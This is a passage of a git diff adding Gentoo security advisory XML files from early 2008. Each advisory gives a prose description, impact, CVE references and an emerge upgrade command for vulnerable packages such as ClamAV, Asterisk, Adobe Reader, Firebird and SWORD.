+      <vulnerable range="lt">0.92.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a free anti-virus toolkit for UNIX, designed
+    especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow has been reported in the "cli_scanpe()" function in
+    file libclamav/pe.c (CVE-2008-0318). Another unspecified vulnerability
+    has been reported in file libclamav/mew.c (CVE-2008-0728).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could entice a user or automated system to scan a
+    specially crafted file, possibly leading to the execution of arbitrary
+    code with the privileges of the user running ClamAV (either a system
+    user or the "clamav" user if clamd is compromised).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.92.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0318">CVE-2008-0318</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0728">CVE-2008-0728</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Feb 2008 20:13:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Feb 2008 20:14:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Feb 2008 21:50:12 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-10.xml b/xml/htdocs/security/en/glsa/glsa-200802-10.xml
new file mode 100644
index 00000000..ac0c4123
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-10.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-10">
+  <title>Python: PCRE Integer overflow</title>
+  <synopsis>
+    A vulnerability within Python's copy of PCRE might lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>February 23, 2008</announced>
+  <revised>February 23, 2008: 01</revised>
+  <bug>198373</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="ge">2.3.6-r4</unaffected>
+      <vulnerable range="lt">2.3.6-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Python is an interpreted, interactive, object-oriented programming
+    language.
+    </p>
+  </background>
+  <description>
+    <p>
+    Python 2.3 includes a copy of PCRE which is vulnerable to an integer
+    overflow vulnerability, leading to a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit the vulnerability by tricking a vulnerable
+    Python application to compile a regular expressions, which could
+    possibly lead to the execution of arbitrary code, a Denial of Service
+    or the disclosure of sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Python 2.3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/python-2.3.6-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7228">CVE-2006-7228</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA 200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 07 Jan 2008 19:00:53 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 28 Jan 2008 18:01:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 18 Feb 2008 22:37:11 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-11.xml b/xml/htdocs/security/en/glsa/glsa-200802-11.xml
new file mode 100644
index 00000000..a337aa14
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-11.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-11">
+  <title>Asterisk: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been found in Asterisk.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>February 26, 2008</announced>
+  <revised>February 26, 2008: 01</revised>
+  <bug>185713</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="rge">1.2.17-r1</unaffected>
+      <unaffected range="ge">1.2.21.1-r1</unaffected>
+      <vulnerable range="lt">1.2.21.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source telephony engine and tool kit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been found in Asterisk:
+    </p>
+    <ul>
+    <li>Russel Bryant reported a stack buffer overflow in the IAX2 channel
+    driver (chan_iax2) when bridging calls between chan_iax2 and any
+    channel driver that uses RTP for media (CVE-2007-3762).</li>
+    <li>Chris
+    Clark and Zane Lackey (iSEC Partners) reported a NULL pointer
+    dereference in the IAX2 channel driver (chan_iax2)
+    (CVE-2007-3763).</li>
+    <li>Will Drewry (Google Security) reported a
+    vulnerability in the Skinny channel driver (chan_skinny), resulting in
+    an overly large memcpy (CVE-2007-3764).</li>
+    <li>Will Drewry (Google
+    Security) reported a vulnerability in the IAX2 channel driver
+    (chan_iax2), that does not correctly handle unauthenticated
+    transactions using a 3-way handshake (CVE-2007-4103).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a long voice or video RTP frame, a remote attacker could
+    possibly execute arbitrary code on the target machine. Sending
+    specially crafted LAGRQ or LAGRP frames containing information elements
+    of IAX frames, or a certain data length value in a crafted packet, or
+    performing a flood of calls not completing a 3-way handshake, could
+    result in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.2.17-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3762">CVE-2007-3762</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3763">CVE-2007-3763</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3764">CVE-2007-3764</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4103">CVE-2007-4103</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Nov 2007 19:55:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 22 Nov 2007 23:26:53 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Feb 2008 19:44:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200802-12.xml b/xml/htdocs/security/en/glsa/glsa-200802-12.xml
new file mode 100644
index 00000000..94174169
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200802-12.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200802-12">
+  <title>xine-lib: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    xine-lib is vulnerable to multiple buffer overflows when processing FLAC
+    and ASF streams.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>February 26, 2008</announced>
+  <revised>March 03, 2008: 02</revised>
+  <bug>209106</bug>
+  <bug>208100</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.10.1</unaffected>
+      <vulnerable range="lt">1.1.10.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine-lib is the core library package for the xine media player.
+    </p>
+  </background>
+  <description>
+    <p>
+    Damian Frizza and Alfredo Ortega (Core Security Technologies)
+    discovered a stack-based buffer overflow within the open_flac_file()
+    function in the file demux_flac.c when parsing tags within a FLAC file
+    (CVE-2008-0486). A buffer overflow when parsing ASF headers, which is
+    similar to CVE-2006-1664, has also been discovered (CVE-2008-1110).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play specially crafted FLAC or
+    ASF video streams with a player using xine-lib, potentially resulting
+    in the execution of arbitrary code with the privileges of the user
+    running the player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.10.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1664">CVE-2006-1664</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0486">CVE-2008-0486</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1110">CVE-2008-1110</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Feb 2008 08:36:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 20 Feb 2008 08:36:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 23 Feb 2008 19:46:42 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-01.xml b/xml/htdocs/security/en/glsa/glsa-200803-01.xml
new file mode 100644
index 00000000..75eb3d69
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-01.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-01">
+  <title>Adobe Acrobat Reader: Multiple vulnerabilities</title>
+  <synopsis>
+    Adobe Acrobat Reader is vulnerable to remote code execution, Denial of
+    Service, and cross-site request forgery attacks.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>March 02, 2008</announced>
+  <revised>March 05, 2008: 05</revised>
+  <bug>170177</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">8.1.2</unaffected>
+      <vulnerable range="lt">8.1.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Acrobat Reader is a PDF reader released by Adobe.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Adobe Acrobat Reader,
+    including:
+    </p>
+    <ul><li>A file disclosure when using file:// in PDF documents
+    (CVE-2007-1199)</li>
+    <li>Multiple buffer overflows in unspecified Javascript methods
+    (CVE-2007-5659)</li>
+    <li>An unspecified vulnerability in the Escript.api plugin
+    (CVE-2007-5663)</li>
+    <li>An untrusted search path (CVE-2007-5666)</li>
+    <li>Incorrect handling of printers (CVE-2008-0667)</li>
+    <li>An integer overflow when passing incorrect arguments to
+    "printSepsWithParams" (CVE-2008-0726)</li>
+    </ul>
+    <p>
+    Other unspecified vulnerabilities have also been reported
+    (CVE-2008-0655).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application. A remote
+    attacker could also perform cross-site request forgery attacks, or
+    cause a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Acrobat Reader users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-8.1.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1199">CVE-2007-1199</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5659">CVE-2007-5659</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5663">CVE-2007-5663</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5666">CVE-2007-5666</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0655">CVE-2008-0655</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0667">CVE-2008-0667</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0726">CVE-2008-0726</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Feb 2008 00:03:23 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Feb 2008 22:32:54 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 27 Feb 2008 22:33:01 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-02.xml b/xml/htdocs/security/en/glsa/glsa-200803-02.xml
new file mode 100644
index 00000000..0881ddab
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-02.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-02">
+  <title>Firebird: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Firebird may allow the remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">firebird</product>
+  <announced>March 02, 2008</announced>
+  <revised>March 02, 2008: 01</revised>
+  <bug>208034</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/firebird" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3.12981.0-r5</unaffected>
+      <vulnerable range="lt">2.0.3.12981.0-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Firebird is a multi-platform, open source relational database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Firebird does not properly handle certain types of XDR requests,
+    resulting in an integer overflow (CVE-2008-0387). Furthermore, it is
+    vulnerable to a buffer overflow when processing usernames
+    (CVE-2008-0467).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send specially crafted XDR requests or an
+    overly long username to the vulnerable server, possibly resulting in
+    the remote execution of arbitrary code with the privileges of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Firebird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/firebird-2.0.3.12981.0-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0387">CVE-2008-0387</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0467">CVE-2008-0467</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 25 Feb 2008 20:05:19 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Feb 2008 20:05:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Feb 2008 12:57:14 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-03.xml b/xml/htdocs/security/en/glsa/glsa-200803-03.xml
new file mode 100644
index 00000000..0ec40067
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-03.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-03">
+  <title>Audacity: Insecure temporary file creation</title>
+  <synopsis>
+    Audacity uses temporary files in an insecure manner, allowing for a symlink
+    attack.
+  </synopsis>
+  <product type="ebuild">audacity</product>
+  <announced>March 02, 2008</announced>
+  <revised>March 02, 2008: 01</revised>
+  <bug>199751</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/audacity" auto="yes" arch="*">
+      <unaffected range="ge">1.3.4-r1</unaffected>
+      <vulnerable range="lt">1.3.4-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Audacity is a free cross-platform audio editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Viktor Griph reported that the "AudacityApp::OnInit()" method in file
+    src/AudacityApp.cpp does not handle temporary files properly.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to conduct symlink
+    attacks to delete arbitrary files and directories with the privileges
+    of the user running Audacity.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Audacity users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/audacity-1.3.4-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6061">CVE-2007-6061</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 20 Feb 2008 00:55:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 26 Feb 2008 22:46:54 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Feb 2008 22:47:07 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-04.xml b/xml/htdocs/security/en/glsa/glsa-200803-04.xml
new file mode 100644
index 00000000..ee019459
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-04.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-04">
+  <title>Mantis: Cross-Site Scripting</title>
+  <synopsis>
+    A persistent Cross-Site Scripting vulnerability has been discovered in
+    Mantis.
+  </synopsis>
+  <product type="ebuild">mantis</product>
+  <announced>March 03, 2008</announced>
+  <revised>March 03, 2008: 01</revised>
+  <bug>203791</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/mantisbt" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8-r1</unaffected>
+      <vulnerable range="lt">1.0.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mantis is a web-based bug tracking system.
+    </p>
+  </background>
+  <description>
+    <p>
+    seiji reported that the filename for the uploaded file in
+    bug_report.php is not properly sanitised before being stored.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could upload a file with a specially crafted to a bug
+    report, resulting in the execution of arbitrary HTML and script code
+    within the context of the users's browser. Note that this vulnerability
+    is only exploitable by authenticated users.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mantis users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/mantisbt-1.0.8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6611">CVE-2007-6611</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 10 Feb 2008 18:16:34 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Feb 2008 18:16:43 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Feb 2008 12:32:54 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-05.xml b/xml/htdocs/security/en/glsa/glsa-200803-05.xml
new file mode 100644
index 00000000..0b77a3e5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-05.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-05">
+  <title>SplitVT: Privilege escalation</title>
+  <synopsis>
+    A vulnerability in SplitVT may allow local users to gain escalated
+    privileges.
+  </synopsis>
+  <product type="ebuild">splitvt</product>
+  <announced>March 03, 2008</announced>
+  <revised>March 03, 2008: 01</revised>
+  <bug>211240</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-misc/splitvt" auto="yes" arch="*">
+      <unaffected range="ge">1.6.6-r1</unaffected>
+      <vulnerable range="lt">1.6.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SplitVT is a program for splitting terminals into two shells.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mike Ashton reported that SplitVT does not drop group privileges before
+    executing the xprop utility.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could exploit this vulnerability to gain the "utmp"
+    group privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SplitVT users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-misc/splitvt-1.6.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0162">CVE-2008-0162</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Feb 2008 20:35:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Feb 2008 20:35:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Feb 2008 11:02:58 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-06.xml b/xml/htdocs/security/en/glsa/glsa-200803-06.xml
new file mode 100644
index 00000000..e7e14a84
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-06.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-06">
+  <title>SWORD: Shell command injection</title>
+  <synopsis>
+    Insufficient input checking in SWORD may allow shell command injection.
+  </synopsis>
+  <product type="ebuild">sword</product>
+  <announced>March 03, 2008</announced>
+  <revised>March 03, 2008: 01</revised>
+  <bug>210754</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/sword" auto="yes" arch="*">
+      <unaffected range="ge">1.5.8-r2</unaffected>
+      <vulnerable range="lt">1.5.8-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SWORD is a library for Bible study software.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dan Dennison reported that the diatheke.pl script used in SWORD does
+    not properly sanitize shell meta-characters in the "range" parameter
+    before processing it.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could provide specially crafted input to a vulnerable
+    application, possibly resulting in the remote execution of arbitrary
+    shell commands with the privileges of the user running SWORD (generally
+    the web server account).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SWORD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/sword-1.5.8-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0932">CVE-2008-0932</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Feb 2008 19:11:13 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Feb 2008 12:41:01 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 29 Feb 2008 12:41:15 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-07.xml b/xml/htdocs/security/en/glsa/glsa-200803-07.xml
new file mode 100644
index 00000000..a14ee8ac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-07">
+  <title>Paramiko: Information disclosure</title>
+  <synopsis>
+    Unsafe randomness usage in Paramiko may allow access to sensitive
+    information.
+  </synopsis>
+  <product type="ebuild">paramiko</product>
+  <announced>March 03, 2008</announced>
+  <revised>March 03, 2008: 01</revised>
+  <bug>205777</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-python/paramiko" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2</unaffected>
+      <vulnerable range="lt">1.7.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Paramiko is a Secure Shell Server implementation written in Python.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dwayne C. Litzenberger reported that the file "common.py" does not
+    properly use RandomPool when using threads or forked processes.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could predict the values generated by applications
+    using Paramiko for encryption purposes, potentially gaining access to
+    sensitive information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Paramiko users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/paramiko-1.7.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0299">CVE-2008-0299</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Feb 2008 18:32:09 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Feb 2008 18:33:24 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 28 Feb 2008 12:43:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-08.xml b/xml/htdocs/security/en/glsa/glsa-200803-08.xml
new file mode 100644
index 00000000..58fa06bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-08.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-08">
+  <title>Win32 binary codecs: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Win32 codecs for Linux may result in the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">win32codecs</product>
+  <announced>March 04, 2008</announced>
+  <revised>March 04, 2008: 01</revised>
+  <bug>150288</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/win32codecs" auto="yes" arch="*">
+      <unaffected range="ge">20071007-r2</unaffected>
+      <vulnerable range="lt">20071007-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Win32 binary codecs provide support for video and audio playback.
+    </p>
+  </background>
+  <description>
+    <p>
